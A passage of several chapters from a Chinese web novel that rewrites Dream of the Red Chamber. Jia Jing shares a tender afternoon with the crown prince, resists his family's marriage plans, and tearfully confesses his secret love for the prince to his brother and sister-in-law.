贾敬扯了扯嘴角,哄着自家嫂子,“嫂子,咱们就当不知道这回事,只当是去吃了个席,听了场戏。” “这其他人又不知道这些,我也不觉得有什么。” 要贾敬说,他还挺佩服这位柳大姑娘,甚至心里有些触动。 【作者有话要说】 注释:1.“宁拆十座庙,不毁一桩婚”出自中国古代谚语。 第45章 史云棠掠了贾敬一眼, 有些恨铁不成钢,但更多的是心疼。 她哪里是气理国公府这样做下了他们宁国府的脸面,她是气他们对贾敬的态度。 这些日, 她都还未放出风去,想要为贾敬相看的人家就已经络绎不绝,她也瞧过, 多的是合意的人家, 岂容得他们理国公府这样轻视, 耍着玩? 史云棠微微眯起双眸, 她定要为阿元相得一门众人艳羡的亲事! 贾敬瞧着史云棠的模样,更加头疼了,带着商量和玩笑的口吻, 故作玩世不恭道: “嫂子, 前些年为了科举,一直绷着一根弦,如今考上了,才能松快些, 且让我玩上几年吧?我可不想被人管着。” 史云棠不理会贾敬的歪理,“等你娶了媳妇, 让你媳妇陪你一起玩儿, 不更好?” “反正家中事物, 有我和你哥处理呢。” 贾敬又扯出了另外一个理由:“嫂子, 我这仕途刚起步, 还有许多事要做, 要注意, 前方路如同迷雾, 这节骨眼儿成婚, 恐怕不合适吧?” 他话里还在暗示和提醒史云棠,就算他要成婚,女方的身份也得再三考虑。 史云棠思量着,一时没有作声,贾敬顺势就溜了。 待贾敬走后,史云棠有些惆怅地望着贾敷,“如开,这要如何是好?” 这么一个半大小子,丝毫没有成亲的心思。 贾敷摆了摆手,也很是无奈,“大抵是缘分未到吧。” 也只能这样安慰自己了。 贾敬这厢领着阿禄二狗回了他自己的院子,刚巧素雪带着一群丫鬟们在院子里侍弄花草。 “二爷回来了。” 贾敬颔首,“这人以后就跟着我后头,你给安排一下。” 丢下这句话,贾敬便进了屋。 “素雪姐姐。”二狗赶忙问好。 素雪瞧着二狗眼熟,看了一会儿想起,不禁笑道:“你是那晚来为二爷送衣服配饰的小厮。” 二狗人机灵,到哪儿都会让人印象深刻些。 阿禄也顺势跟素雪说了二狗的情况,“素雪姐姐,他……” 素雪一边听着,一边又仔细打量了二狗,“原来如此,那以后便安心跟着咱们二爷吧,待会儿安顿好,来我这儿拿两身新衣裳。” 他们院里下人的衣服,大多数是素雪带着其他小丫鬟们平日里做的。 二狗受宠若惊,连忙弓着腰谢道:“谢谢素雪姐姐!” 翌日,贾敬睡到自然醒,很是舒适。 “二爷,您这手明日便可以不用缠布了,适当的时候,也可以动一动。” 贾敬观察着御医显然要比平日快上许多的动作,连说话都快上许多。 待御医收拾药箱时,贾敬才看似不经意地问道: “大人今日可是有什么急事?不若我安排车送您一程吧。” 御医这些日子也和贾敬熟稔起来,也知晓这位贾二爷远没有京城里传闻的那样骄矜乖张。 想起自己待会儿要去的地方,以及他听到的传闻,御医想了一会儿,还是道:“待会儿要去吏部尚书何大人府上。” 贾敬一愣:“去何府?” “是,何大人的小公子今日被杖责了十杖,圣上身边的陈总管打了招呼,让我去给看看。” 御医说这话时,语气里是压抑不住的笑意。 贾敬挑了挑眉,心中了然,也没说什么,只是吩咐了人备了马车。 御医也没再多说什么,与贾敬相视一笑,道了谢便背着药箱走了。 贾敬惬意地靠在廊下的躺椅上,长腿随意支着,微微阖目,清晨暖阳照在身上,一阵暖意。 没想到,天丰帝居然这么快就料理此事。 杖责十仗,看着没何清说的那样多,可这杖只要是打了,那便是表明了圣上的态度。 至于到底重不重,贾敬并不关心。 他缓缓睁眼,慢慢抬起手,对着光看着自己被包裹着的手,稍稍蜷缩起手指,看着很是迟缓。 贾敬却不在意,仔细感知着手指及掌心传来的细微刺痛,可这样的刺痛却让贾敬欢喜。 比他想象中的要好上许多,没他预想的那么糟糕。 “呵。”贾敬轻笑出声,声音虽然不大,却带着一种释然和轻松。 一切都在朝着好的方向发展。 细碎的晨光如同金蚕丝一般透过他微张手指的缝隙,映射在贾敬的脸上,光柔和了贾敬原本艳丽的眉眼。 萧淮川来时,便看到了这一幕,望着光下浅笑的青年,他不自觉地停下脚步,就这么伫立瞧着。 这些时日贾敬的不寻常,萧淮川都看在眼里,记在心底。 他看的出,贾敬心底藏了事,即便遇见些喜事,他是在笑着,可他眼底时不时露出的烦郁,肩上背脊仿佛压了去除不掉的重担,这些都是骗不了萧淮川的。 若是曾经,他们还是少时,萧淮川是定会问出缘由。可如今,贾敬已然长大…… 然而今天,萧淮川看见了笑得一脸轻松的贾敬,他不知道发生了什么,可萧淮川珍惜这抹笑。 如果可以……他希望贾敬能够一直这样笑着。 萧淮川垂落在两侧的的手下意识攥紧。 贾敬正半躺在摇椅上,春日暖阳的照射,舒适得让他不自觉阖上了眼,昏昏欲睡。 忽的,他若有所觉,微微歪了歪脑袋,眼珠转动朝前方看去,便看到了不远处那抹身姿挺拔的熟悉身影,正是萧淮川。 “淮哥?” 贾敬那双原本显得迷蒙的桃花眼,此刻因惊喜一下子都圆了几分,他下意识弯了唇角,“你怎么来了?” 萧淮川闻言,剑眉一挑,迈步上前,语气略带调侃道:“不希望我来吗?” “怎么会,你能来,我自当扫榻相迎。”贾敬动了动慵懒躺着的身体,手虚扶着木扶手,刚准备直起腰站起身来,迎一下萧淮川。 下一瞬,肩头感受到一片温热,贾敬下意识缩了缩,转眸看去,一只温暖的大手轻轻地搭在了贾敬的肩膀上。 萧淮川手上稍稍施加了一丝力道,将贾敬重新按回了椅子里。 “别起来了,就这么坐着吧。” 萧淮川顺势倚靠在贾敬的躺椅旁,一只手很是随意地撑在躺椅椅背上,另一只手则是覆在了贾敬方才扶着扶手的手背上, “手别用力。” 贾敬下意识便松了力,紧接着手便被萧淮川握住,轻轻捞起。 萧淮川手掌向上摊开,上面搭着贾敬的手,他仔细瞧着,认真的模样仿佛要透过纱布看清楚里面的伤势,又仿佛是捧着什么珍宝。 贾敬晃了眼,耳根情不自禁地发热,放于萧淮川掌心中的手也控制不住地微微颤抖,心也跟着快速跳动。 他抿了抿干涩的唇,陡然抽回了自己的手,眼眸微垂,目光躲闪, “御医说恢复的极好,明日便不用缠着布了。” 贾敬的情况,萧淮川自然再清楚不过,御医每日都会去东宫向他禀告,可以说,贾敬这双手如何,没人比萧淮川更了解。 萧淮川想要叮嘱贾敬,像方才那样想要用手撑着起身的事儿,要万分注意,切不可掉以轻心,可话刚到嘴边,萧淮川又咽了回去。 阿元已经长大,他不再是事事叮嘱的孩童了,说多了,会引起厌烦。 “如此便好,我还等着今年生辰,收到咱们贾二爷的墨宝呢。”萧淮川的玩笑话,让贾敬不禁抬起头。 他的目光直直地望向身侧的萧淮川,萧淮川此时整个人看上去都显得格外悠闲自在,与平日里那个克己复礼的萧淮川简直判若两人。 “你今日……” 贾敬刚开口,便见萧淮川忽然弯下腰来,俯首,视线与贾敬平齐,唇角微扬,鼻腔里哼出一声: “我今日如何?” 贾敬下意识答道:“你今日心情很好。” 萧淮川脸上的笑容更深了几分,“来见阿元,自然心情舒适。” 许是方才贾敬那抹笑的影响,萧淮川于这所属于贾敬的院落里,破天荒的放下心中所压着的重担,此时此刻,他只想享受这一短暂的闲暇时光,与阿元在一起的片刻安宁。 萧淮川不知道,他说这句话时,含着笑意的眼眸宛如泛着波光的清湖。 而他周身弥散着的松香,也因为他的靠近,将贾敬环绕,令他心慌意乱,手足无措。 贾敬的视线不经意落在萧淮川那笑弯着的微红薄唇上,便钉在了上面,再不想移开。 他想…… 贾敬只觉得口舌干涩,忍不住吞咽,喉结上下微微滚动。 “嗯?” 萧淮川略带疑惑的声音,让贾敬一瞬间回过神来。 贾敬下意识朝后仰去,想要远离,可后背已全然贴着椅背,再无可退之地。 他只好微微撇开脸,错开与萧淮川对视的目光,睫羽轻颤不断,声音沙哑,“你这样腰不酸?赶紧坐着吧。” 萧淮川愣怔了一下,也后知后觉般的知晓,自己这样的动作显得奇怪。 “咳。”萧淮川轻咳一声,直起腰,负手而立,目光掩饰般的看向远方。 贾敬则是狠狠阖上眼睛,去平息那仿佛被猫抓过一般、乱成一团的心绪。 “听闻,柳家有意与你结亲?” 贾敬听到萧淮川忽然问了这么一句,眼皮动了动,却最终未睁开眼,只是道: “我无意。” 【作者有话要说】 哈哈哈哈,算不算椅咚? 第46章 萧淮川并不意外贾敬的回答, 想起探子报上来关于理国公府的密辛,他心中还是起了一丝担忧,斟酌了一会儿开口道: “你相看时, 还是要多注意些,也让你兄嫂多了解了解人家府中的情况。” 即便他会帮贾敬观望,可到底会有纰漏疏忽。 贾敬心下微动, 萧淮川知道柳家大姑娘与那武生的事情了? 不然怎么会给这样一个提醒? 但到底关乎柳家大姑娘清誉, 柳家与他们贾家还是老亲, 贾敬并不想过多与萧淮川讨论此事。 至于成婚这件事, 贾敬也并不想跟萧淮川再过多讨论。 有这件事打岔,贾敬心烦意乱的心绪也渐渐平稳收敛,他睁开眼, 将话题引至别处。 “我瞧着有那么好骗?” 贾敬是故意这么一问, 谁知道还未等萧淮川回答,便听见廊下一道尖利的声音响起: “我瞧着有那么好骗?” “那么好骗?” “骗?” 萧淮川骤然转身,诧异地目光朝廊下看去,入目的是一只毛色鲜艳、油光水滑的鹦鹉, 一双圆溜儿的眼睛正瞪着他。 “哈哈哈。”贾敬笑出声,抬手指了指廊下站姿威武的鹦鹉, “这是我养的, 叫鸣凤。” “我养伤的这些日子, 可都靠它解闷儿。” 萧淮川沉默, 盯着鸣凤那双宛如傻子一般的眼神, 扯了扯嘴角, “挺好。” 他向来对玩宠类没有兴趣。 鸣凤呆了一会儿, 忽然梗着脖子, 叫道:“挺好!” “好!” 贾敬扫过鸣凤旁边的鸟食罐, 如今已经空了,他也没站起身,而是看向萧淮川, “淮哥,要不给他喂个食儿?我这也不方便。” 说完贾敬冲萧淮川笑着,还晃了晃手,让萧淮川看着他那双手,意思刚刚萧淮川还叮嘱他要小心手呢。 “鸟食放哪儿了?” “前面窗沿那儿。” 萧淮川几步走近,到了贾敬手指的窗沿处,确实看见了一瓮大罐。揭开盖子,萧淮川便看见里面的鸟食,多是小米、碾碎的玉米和葵花籽。 经历过晾晒、烘干等工艺制成的鸟食,除了干燥的谷物香外,并没有其他异味。 萧淮川伸出手,捞出一把鸟食,看向鸣凤旁边的白瓷鸟食罐,便准备放进去。 谁知鸣凤“呼哧”一下展翅,直接抖落了好几根羽毛。 萧淮川手一僵,忽的收回了手,凤眸微眯,盯着鸣凤。 鸣凤瞪着它那双琥珀色的眼睛,中间黑而小的瞳孔炯炯有神,见萧淮川的动作,鸣凤歪了歪不短的脖子。 贾敬好整以暇的望着一人一鸟这样对峙,忍不住又笑出了声。 萧淮川无奈瞥了眼贾敬,抬了抬下巴,“阿元,把他唤走。” “你怎知它会听我的?这只是只鸟儿。”贾敬眨了眨眼睛,显得无害。 萧淮川挑眉,“若是不通人性,能入得了你贾二爷的眼?” “嗯。”贾敬哼了一声,眼眸转了转,“我若是帮了淮哥,有什么好处吗?” 萧淮川手指摩挲着掌心里的细碎鸟食,似笑非笑地望着贾敬,还是跟以前一样的顽皮。 明明是贾敬求他喂鸟食,现在倒成了自己求他了。 萧淮川目光随意扫过,瞥见鸣凤那个鸟食罐,开口道: “我私库里有一个闲置的青花瓷缠枝纹鸟食罐,给它了,如何?” 贾敬脸上的笑意更深了几分,“淮哥手上果然有好东西,一听就是个不错的玩意儿。” 萧淮川嗤笑一声,“出息。” “我那私库何时对你关过门?” 贾敬一听,桃花眼微微挑起,下意识滚出一句话,“淮哥如此,未来嫂子该不高兴了,该避嫌。” 萧淮川一怔,随后反应过来贾敬话中的意思,没好气道:“连你也调侃我?” “什么嫂子,如今还是没影儿的事儿,可别乱说。” 他对未来太子妃,毫不期待。 贾敬牵了牵嘴角,露出了一抹笑着的弧度,却没再多说。 “啾……”贾敬不知从哪里掏出来一个小青玉哨,吹了一声,鸣凤展翅,“咻”的一下便朝贾敬飞去,速度快的让萧淮川一惊,生怕这大鹦鹉把贾敬给冲散架了。 鸣凤距离贾敬还有一尺远时,速度骤然降下,轻轻地落在了贾敬的躺椅扶手上,弯着脖子,用它的脑袋蹭着贾敬的手腕,在它脑袋上的红毛映衬的贾敬那手腕如白瓷一般。 贾敬动了动手腕,回蹭鸣凤。 萧淮川愣怔地望着那抹白,过了一会儿才晃过神来,掩饰般的敛眉,将手中的鸟食放进了鸟食罐,还给它填了点水。 做完这一切,萧淮川自己都觉得稀奇,平日里他哪里需要做这些? 明明是一些简单的小事,却让萧淮川的心更加平静。 贾敬见萧淮川做好这些事,又是一声哨声响起,鸣凤飞回了它常站着的地方,脖子一扭,脑袋“哒哒哒”地吃起食来。 “还挺有意思。”萧淮川走回贾敬身边。 贾敬顺势递了一块帕子给萧淮川擦手,“那当然,我这些日子,可就折腾它了。” 两人就这么在阳光下,静静地看了一会儿鸣凤吃鸟食,天清如洗,云洁白似棉,好不惬意。 贾敬恍然,他垂眸自己与萧淮川此时的距离,不过一寸,搭在扶手上的手微微蜷缩。 他只要动动手,便能一把扯住萧淮川的衣袖,亦或是,衣袖下摆里藏着的那只手。 可是,他不能。 这看似短短一寸,实则是坠落深渊的天堑。 也不知道过了多久,萧淮川忽然说了句,“不日,今朝科举的进士授官圣旨也要颁下去了。” 贾敬脸上的笑意微敛,下一瞬他的嘴角再次扬起,“这倒好了,看来我能赶上跟他们一同入职当差了。” “淮哥可是有什么要嘱咐我的?” 萧淮川闻言转眸,目光认真,凝视着贾敬,语气郑重道:“阿元,你进入翰林院当差,无需有任何顾虑,只需要去做你想做的事情便好。” 他说完顿了顿,又补充了一句:“记住,不管发生什么,你的身后始终都有我在。” 贾敬定定地看了萧淮川好久,眼睛一眨不眨,仿佛想要将眼前之人深深刻在脑中,刻在心里。 他随即低眉浅笑,“好。” 紧接着,贾敬抬起头,看向天边,声音里充满着憧憬:“翰林院是我一直梦寐以求的地方,想在那故纸堆里研究文史……” 贾敬嘴上虽然这么说,可他心里却是另外一个截然相反的想法。 萧淮川让他恣意去做自己,告诉他不用担心,他的身后有他。 可贾敬也想做萧淮川身后可依靠信任之人。 日头正盛,已然是正午,贾敬邀萧淮川于他院中用午膳,可菜还都未上桌,忍冬急急忙忙地进来,跟萧淮川耳语了几句,只见萧淮川微微变了脸色。 “阿元……” 萧淮川的话还未出口,贾敬便主动接过话,“淮哥有事,就先去吧,别耽误了。” “嗯。”萧淮川抿了抿唇,只好说道,“待我空闲,待阿元去庄子上猎野货玩。” “好啊,淮哥路上小心。” 萧淮川走时,脸色紧绷,偷得浮生半日闲的日子就这么过去了。 贾敬望着萧淮川大步迈出的背影,嘴角下垂,扯成了一条直线,眼里是遮不住的怅惘。 正待他有些乏味的望着一桌菜时,忽然素雪进来禀告: “二爷,大爷和太太传话说,您这边要是没用膳,请您去正堂用膳。” 贾敬想了想,颔首道:“这卓菜,给院子里的人分了吧。” 说完他便站起身,随意抖了下衣袍,便朝正堂走去。 贾敬一进正堂,便立刻觉得有些不对劲。 只见贾敷与史云棠正襟危坐,面容严肃,贾敬见着,还以为自己犯了什么错,要被三堂会审呢。 心里这样想着,贾敬努力在脑中转悠一圈,思忖自己这些时日很是安分,并未做什么出格之事,这才慢慢放下心来。 贾敬撩起袍子坐下,开着玩笑道:“这是准备审谁呢?” 厅堂一静,无人作答,贾敬抬眸,正巧对上贾敷和史云棠沉静的目光,不禁愣住。 不会是……审他吧? 【作者有话要说】 注释:1.偷得浮生半日闲出自唐代诗人李涉《题鹤林寺僧舍》 第47章 贾敬讪讪道:“怎么这样看着我?” 他好似真的没做什么吧? 重生以来, 他所做的一些大事,也都跟兄长贾敷通过气,没有丝毫隐瞒。 “咳。”史云棠轻咳一声, 动了动有些僵硬的脸,“没事,你哥刚刚跟我拌嘴呢。” 说完, 史云棠用胳膊肘杵了贾敷一下, 贾敷眉头烦躁的紧皱在一起, 但到底什么也没说。 这样的反常, 让贾敬的心不禁提了起来。 兄嫂拌嘴这样糊弄小孩的话,他可不会信。 “先吃饭吧。”史云棠又招呼了一声。 三人心里都藏了事,这顿饭吃的是索然无味, 如同嚼蜡。 史云棠唤人将饭食都撤下去, 又命人牢牢守在门外,不得任何人擅闯。 贾敬则是早已经坐直身体,等待着接下来的事情。 “阿元……”史云棠轻启朱唇,刚吐出两个字, 后面的话便硬生生地卡在了嘴边,无奈停了话头。 贾敬见不得史云棠这样为难, “嫂子跟我还有什么不能说的?尽管说便罢。” 史云棠这才笑了笑, 语气带着些歉意, “上回柳家的事儿, 嫂子没提前跟你商量, 这是嫂子做的不妥当, 希望你别往心里去。” 贾敬还当是什么不得了的大事, 没想到史云棠说的是这件事, 贾敬不由得松了口气。 他刚想开口告诉史云棠自己不在意, 让史云棠无需耿耿于怀时,却又听史云棠说道: “这次嫂子提前跟你说,国子监祭酒方大人家的二姑娘,与你正适龄。” “方家世代书香门第,诗礼传家,家风甚严,他家的姑娘听闻亦是琴棋书画,样样精通。” “郎才女貌,天造地设,和阿元你正相配呢。” 贾敬原本脸上带着的笑意瞬间僵在了脸上,瞠目结舌地望着史云棠,怎么又是给他相看的? “嫂子,我上次说了,我不急着成婚……” “况且我这婚事,还得多方考量呢。” “你说是吧,哥?” 贾敬连忙看向贾敷,企图让兄长替他说话,谁知一向纵容贾敬的贾敷这次却摇了头。 “哥……”贾敬讷讷唤了一声。 贾敷的脸色,从贾敬刚刚进来开始便没好过。 他目光沉沉地望着贾敬,缓缓开口道: “阿元,我已经与你嫂子说了去南方的事儿,你嫂子也已经同意,可我只有一事放心不下。” 贾敬敛眉听着,心却随着贾敷的话沉了沉,仿佛一道巨石压下。 贾敷紧紧地盯着贾敬,目光深邃凝重,那里面像是藏了什么,贾敬看不明白。 只见贾敷再次开口道:“我不放心的,便是你的婚事。” 贾敬闻言,心中五味杂陈。他深知兄长对自己的关怀备至,可他心中有他自己的苦衷,他不可能和一位正常女子成婚,害人又害己。 然而此刻被贾敷当面提及,贾敬心中不知所措起来,口中也不禁泛起了苦涩。 贾敷:“圣人云:修身齐家治国平天下。” “你既已经取得了功名,踏入了仕途,也称得上领悟修身之要。然,将来若想要真正的实现治国平天下之志,这齐家一事,必不可少。” “父亲早已仙逝,有道是长兄如父,你这桩终身大事尚无着落,叫我又岂能安心远行?” 贾敬努力睁着泛着酸意的眼睛,贾敷那番话宛如重锤,敲击着压在他心上的巨石。 贾敷字字恳切,句句真挚,贾敬又怎能听不出其中的含义? 他无力反驳。 他难道要去指责兄长,他们的关心和爱护,是多此一举吗? 兄长对他的担忧和关心宛如藤蔓死死将贾敬缠住,他无力挣脱。 可难道真的要如兄嫂的所愿,去迎娶一个他永远不会爱上的女人做妻子吗? 不,他做不到,这样的做法无疑会毁了两个人,甚至是两个家族。 这两方想法于贾敬心中拉扯,如锋利的锯刀一般,来回磋磨,疼痛难忍。烦闷苦恼,也让贾敬的头跟着胀疼。 贾敬太阳穴上的青筋微微跳动,刺痛如潮水一般,一阵阵涌上,他无力地垂下头,沉默不语。 “嗬嗬嗬……” 一时间,堂内只有贾敬粗喘着气的声音。 史云棠脸上划过担忧,刚要伸出手,却被贾敷一把拦住。 贾敷就这么静静看着贾敬,可他显然心绪没有面上沉稳,史云棠注意到他垂在两侧的手,已经紧紧攥着,青筋暴起。 “哥……”贾敬嘶哑着声音,“我不愿。” 他始终没有抬头,弯下的脖颈和脊背上,仿佛上面压了一座无形的山。 贾敬的话音落下,堂内又是一片寂静。 “你不愿什么?”忽的,贾敷开口了。 “我不愿……”贾敬嘴唇微微蠕动着,声音轻得仿佛只有他自己才能听见。 然而这几个字刚刚从他嘴里吐出,就被一道凌厉的喝声打断。 “抬起头,看着我!”贾敷怒目圆睁。 贾敬浑身猛地一颤,原本紧紧咬着的牙关因为用力而咬破,刺痛由舌尖传遍全身,口中充斥着浓烈的血腥味。 他强忍着痛,艰难地将掺着血的血沫咽下,像是用尽了全身力气,缓慢地抬起头,对上贾敷黑如铜铃般的眼睛,贾敬下意识想要闪躲。 “告诉我,你究竟不愿什么!”贾敷声色俱厉地吼道,他那话语仿佛化作了一道冰冷坚固的铁链,无情地套在了贾敬的脖颈之上。 这道铁链越收越紧,迫使贾敬不得不抬起头来,与贾敷四目相对。 贾敬紧抿着唇,面色苍白如纸,却一言不发。 “怎么?你还不肯说吗?” 贾敷见状,气得浑身发抖,只见他一只手死死地扣住大拇指上那枚白玉扳指,用力到指尖都已微微泛白。 然而,他脸上却是怒极反笑:“好,你不说,那就由我来替你说吧!” 听到这话,贾敬的瞳孔骤然猛地一缩,身体不由自主地颤抖起来。 他好似已经猜到了贾敷接下来要说些什么。 他看到贾敷的嘴唇张张合合,不断地吐露着一个个字。 可是,贾敬却感觉自己仿佛又什么都听不见了,耳畔只有一片嗡嗡作响的杂音。 可贾敬心里明白,贾敷所说的每一句话,都犹如一道石破天惊的巨雷,以排山倒海之势从他头顶上方直直劈落下来。 “你到底是不愿意去和那位方二姑娘相看,还是根本就不愿意跟任何女子相看?” 贾敷步步紧逼,目光如炬,直直地盯着贾敬,看透了贾敬埋藏多年的秘密。 “那么,你心中想要相看的那个人,是谁?” 当贾敷把这句话说完之后,堂内瞬间陷入了死一般的寂静之中,沉重压抑。 而此时的贾敬,只觉得耳边好似有滔天巨浪呼啸而来,拼命地往他的耳朵里钻,涌入他的脑海之中。 兄长怎么会问出这句话! 他是知道了什么?或者……他看见了什么? 刹那间,贾敬感到一阵头晕目眩,天旋地转。 “砰!” 贾敬软着身体从椅中滑落,膝盖狠狠地砸在地上。 “阿元!” 第48章 “阿元!” 只听得史云棠一声惊呼, 脸色聚变,连忙迈步准备冲上前去扶贾敬。 贾敷亦是下意识从椅子上弹起,向贾敬伸出手, 就在两人要触碰到贾敬的一刹那,贾敬低吼出声: “不用扶我!” 他声音嘶哑,好似冬日里干枯的茅草, 锋利到稍有不慎便能割人, 却又脆弱不堪, 仿佛下一秒便会破碎。 贾敬抗拒史云棠和贾敷的接近, 他睁开满是猩红血丝的眼睛,眼中是化不开的惧色,原本白皙的脸庞如今白的近乎透明, 没有一丝血色。 膝盖猛然砸地所带来的剧烈疼痛, 使得贾敬刚刚因惊恐而恍若出窍的心神瞬间归位。 疼痛钻心刺骨,贾敬疼得身体都止不住地发颤,可即便如此,他依然倔强地挪动着膝盖, 将自己方才跌落的姿势挪成了标准的跪姿,面朝着贾敷与史云棠的方向, 艰难地支撑着摇摇欲坠的身子, 不让自己倒下。 贾敬低垂着头, 沉默不语。 这么一副姿态, 像是默认一般, 让贾敷经不住腿一软, 后退了一步。 贾敷手用力撑在桌沿, 瞪大着眼睛, 颤颤巍巍道:“你……这是何意?” 方才逼问贾敬的是他, 现如今真相仅隔着一层纱,贾敷却想要装作看不见,看不明白。 贾敷觉得,贾敬总是不愿与人相看,当他是玩心重。 今日萧淮川入府,消息自然传入贾敷耳中。念及贾敬抗拒成婚的态度,贾敷心中不禁思忖:若能得萧淮川相助劝解,或许贾敬会有所改变。 贾敷想法一经冒出,便立刻抬步,想去撺掇萧淮川。 可谁知,当贾敷行至贾敬所居院落时,眼前所见之景,着实令他心惊。 若是贾敬与萧淮川仅为寻常嬉戏打闹,贾敷或许并不以为意,毕竟二人关系素来亲密,此点他心知肚明。 而贾敷看见了什么?贾敬与萧淮川二人几近贴身而立,入眼的亲昵暧昧之态,场面太过怪异,令贾敷心中莫名。 起初,贾敷尚且还想自我宽慰,是自己过于敏感多想了,亦或者是自己眼花看错了也说不定,直到他瞥见贾敬望向萧淮川的眼神, 贾敬自己这位当局者或许不知,可贾敷于旁观处,将贾敬眼里难掩的露骨欲望及炽热看个分明,眼中情愫呼之欲出。 如此目光,任谁目睹皆会觉得非同一般,贾敷的心霎时便沉到了谷底。 须臾之间,贾敷先是惊愕交加,难以置信,紧跟着便是恐慌和怒意,贾敬怎么会对萧淮川有这样隐晦的心思? 他怎么能有这样的心思! 且不说贾敬与萧淮川皆是男子,就说萧淮川储君的身份,一旦贾敬对其心思暴露,被他人或者……天丰帝知晓,那么后果简直不堪设想,跌得粉身碎骨也不为过。 贾敷又惊又怒,想要问个究竟,这才有了先前逼问贾敬的那一幕,可眼下,当真要面对真相时,面前的这层纱,他不敢揭! 他……怕啊! 贾敷喉头涩然,一旁的史云棠也跟自欺欺人般地找补道: “阿元,这其中是不是有什么误会?” 贾敷的目光紧紧盯着贾敬,呼吸都不自禁的轻了几分,生怕贾敬说了什么。 然而贾敬却一言不发,他眼眸垂着,掩去眸中情绪。忽的,他像是做了什么决定,只见他双手伏地,躬下身去。 贾敬已经从一开始被兄长撞破秘密的惊疑不定中回过神来。 上辈子加这辈子,贾敬爱慕了萧淮川几十载,那爱意早已经深深镌刻进了贾敬的骨,融进了血,化入了魂。 然而,这份刻骨铭心的情意,他却未曾向任何人透露过一丝一毫,即便是萧淮川本人对此也是一无所知。 重活一世,他也只求萧淮川渡过死劫,走上他应该走的路。 至于贾敬自己这份不能见日的爱慕是否能被萧淮川知晓,他从未有过奢求与期望。 或者说,他不愿也不能让萧淮川知道。 且不说这份晦暗的情谊和心思,世俗不容;即便贾敬不在乎外界的流言蜚语,他也在乎萧淮川。 他瞒着,他便能一直跟在萧淮川身后,不管是友人还是臣子,只要能在萧淮川身边,他便愿意。 若是这件事被捅破,贾敬怕萧淮川对自己避若蛇蝎,将自己赶的远远的;他怕在萧淮川脸上看见厌恶恶心。 至于外人面前,贾敬也是在极力压制。 令贾敬始料未及的是,自己一时的情难自禁竟然这般巧,被贾敷无意间撞破。 起初,贾敷的厉声质问,贾敬确实如同五雷轰顶,整个人都陷入了恐慌之中。 然而稳下心神后,贾敬的心头却意外地涌上一种前所未有的轻松,仿佛他自缚于心底的那块沉重巨石终于被挪开了一般。 这样瞒着,尤其是瞒着他极亲的两位血亲,贾敬累了。 就当他是破罐子破摔吧。 “咚!咚!咚!” 贾敬三个头实实在在磕在了地上,也磕在了贾敷和史云棠的心头。 他因方才情绪大恸,膝盖亦是疼痛难忍,额头早已经冷汗涔涔,浸湿了他的额发。 如今这三个结识的头磕下去,额头早已经洇红一片,渗出血来。冷汗顺着伤口浸入,疼痛让贾敬紧咬着发白的唇,面容因痛苦而微微抽搐,脊背却挺得笔直。 可能是因为刚才磕头,贾敬脑袋一阵眩晕,待眩晕过后,他才缓缓抬起眼,通红的眼眸定定地望着前方的贾敷。 他没有开口,可他的举动已经默认了一切。 贾敷满眼痛色,对于贾敬这个弟弟,他向来是疼爱包容,今日之所以会有那般盛怒之态,亦是出于对贾敬的担忧。 可没想到,贾敬居然真的认下了!他竟然真的对萧淮川有着那样的心思! 贾敷惊疑地朝门外看去,生怕被人偷听泄露出去。 见门外空无一人,贾敷又回看贾敬,痛呼:“阿元,你知道你在做什么吗!” “哥,”贾敬嘶哑着声音似泣血一般,“我知道。” 史云棠心疼地望着贾敬,“阿元,就不能改了吗?” “各府的贵女小姐,咱们再看看,若是碰上喜欢的呢?啊?” 贾敬听着史云棠的话,像是听了什么天真孩童的话,苦涩的笑意爬上嘴角,“嫂子,这改不了的。” 爱慕之意,怎么能改呢? 贾敷上前,双手紧紧捏着贾敬的肩膀,抖着声音,“你就认准他一个了?” 贾敬眨着眼,眼角湿润,眼泪无声地滑落。 “嗯。” 他的喉咙像是被堵住了一样,半天才嗯了一声。 贾敷紧咬着牙关,手掌不自觉地收紧,“阿元,你为何如此固执?” “你若是真的能找到所爱之人,哥一定为你高兴,即便……” 贾敷梗着脖子,接着吐出几个字,“即便他不是女子。” “可那个人不一样!”贾敷几乎是低声咆哮着。 那是当朝太子! 贾敷失力地蹲下身,与贾敬齐平,“阿元,若我只是你的兄长,你想要如何,我都不会反对。” “可我还是贾家的族长,身后是整个贾家,你老实与我说,先前你的那些话和谋划,是不是都是为了他!” 贾敬眼眸骤然睁大,紧接着脸上的苦意更甚,也不怪贾敷这么以为自己,是为了私心私情,将宁国府和萧淮川绑在一起。 “哥,一笔写不出两个贾字,我不可能仅仅是因为一己私欲,就不顾全族人的性命前程!” “他真的是最合适的那位,你也是知道的!”贾敬哀求般地望向贾敷,“哥,你相信我吗?” 贾敷紧拧着眉头,和贾敬对视许久,确实如贾敬所说,目前看来,萧淮川是最合适的那位。 那么萧淮川是什么心思? 贾敷迟疑开口:“他是否知道……” 贾敬为了让贾敷安心,扯了扯嘴角,想要勾出一抹笑,“哥,你放心,这是我一个人的事情,他不知。” “我没娶亲的心思,免得害了人家姑娘,但我也绝不会让他知晓。” “我和他,没有可能,这些我都知道的。” 贾敬想让贾敷和史云棠宽心,说了这么一番话,然而他剖析心意透露出苦涩与无奈却让贾敷与史云棠一怔,随后心中便是一痛。 这竟然是一场单方面的相思。 史云棠终是忍不住,轻轻啜泣,她心疼地看着贾敬,她轻抚着贾敬的背,“阿元,你真的决定了吗?这条路,一旦踏出,便再也回不了头了。” “这太苦了。” 明知求而不得,也还要走吗? “是。”贾敬努力牵起一抹笑,“嫂子,我甘之如饴。” 话音刚落,史云棠便已经泣不成声,只是伸手抚摸着贾敬身后的发丝。 贾敷目光沉沉道:“你可知,若是他知道了,你会怎么样?” 他担心啊,他担心他的弟弟。 萧淮川是太子,是储君,若是顺利,未来便是天子。如果他知晓贾敬对他是这样冒犯晦涩的心思,会将阿元如何? 贾敬如何不懂兄长的担忧,心中不禁一暖。 他转眸看向贾敷,舔了舔已经干涩起皮的唇,轻声道: “哥,若是真的到那一步,你就把我逐出府吧。” “这些事情,我一人担着。” 贾敬相信,以萧淮川的为人品性,即便厌恶恶心自己,也不会因为此事,迁怒了全族。 【作者有话要说】 唉,阿元向兄嫂出柜这章,写的实在艰难。呜呜呜呜我到底舍不得,还是让兄嫂理解吧,不然阿元,实在太苦了。 第49章 贾敷闻言, 目眦欲裂,“不许胡说!” “你可将心思藏好,不然, 我定会给你娶一门亲事!”贾敷咬着牙,嘴上威胁着。 心中压着几十年的秘密,陡然一空, 倾泻而出, 贾敬脸上露出一抹释然的笑意。 “好了, 